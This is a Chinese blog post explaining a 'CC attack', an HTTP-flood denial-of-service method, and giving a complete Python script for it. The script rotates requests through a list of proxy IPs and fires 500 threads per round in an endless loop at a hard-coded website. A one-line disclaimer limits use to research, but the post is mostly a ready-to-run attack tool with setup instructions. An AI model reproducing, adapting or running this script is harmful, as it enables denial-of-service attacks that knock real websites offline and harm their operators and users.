Python模拟CC攻击实现过程

这只是最简单的一种方案,原理很简单,就是利用多线程,和大量的代理IP,不断的对一个网站发起请求,达到耗尽服务器端资源,来达到拒绝访问的目的。要有效果,前提是你的代理ip都是能用的,这将直接影响到效率。

声明:仅仅作为研究和学习使用,请不要用此脚本恶意攻击别人。

import requests
import threading
from queue import Queue
import random
q=Queue()


class Cc:
    def get_text(self):
        iplist=[]
        with open('ip.txt','r',encoding='utf-8')as f:
            a=f.readlines()
        for x in a:
            iplist.append(x.strip('\n'))
        return iplist

    def start(self,url):
        iplist = self.get_text()
        ip = random.choice(iplist)
        headers = {
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3751.400',
        }
        t={
            'http':ip
        }
        try:
            get=requests.get(url=url,headers=headers,proxies=t)
            print('完成')
        except Exception as e:
            print('失败')

    def go(self,url):
        for x in range(500):
            th=threading.Thread(target=self.start,args=(url,))
            th.start()
        th.join()

if __name__ == '__main__':
    c = Cc()
    while True:
        c.go('http://666cc.cn/')

温馨提示:Python需要安装第三方库requests,方法打开cmd运行pip install requests ,且第11行的 ip.txt 文件与程序文件在同一目录。

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容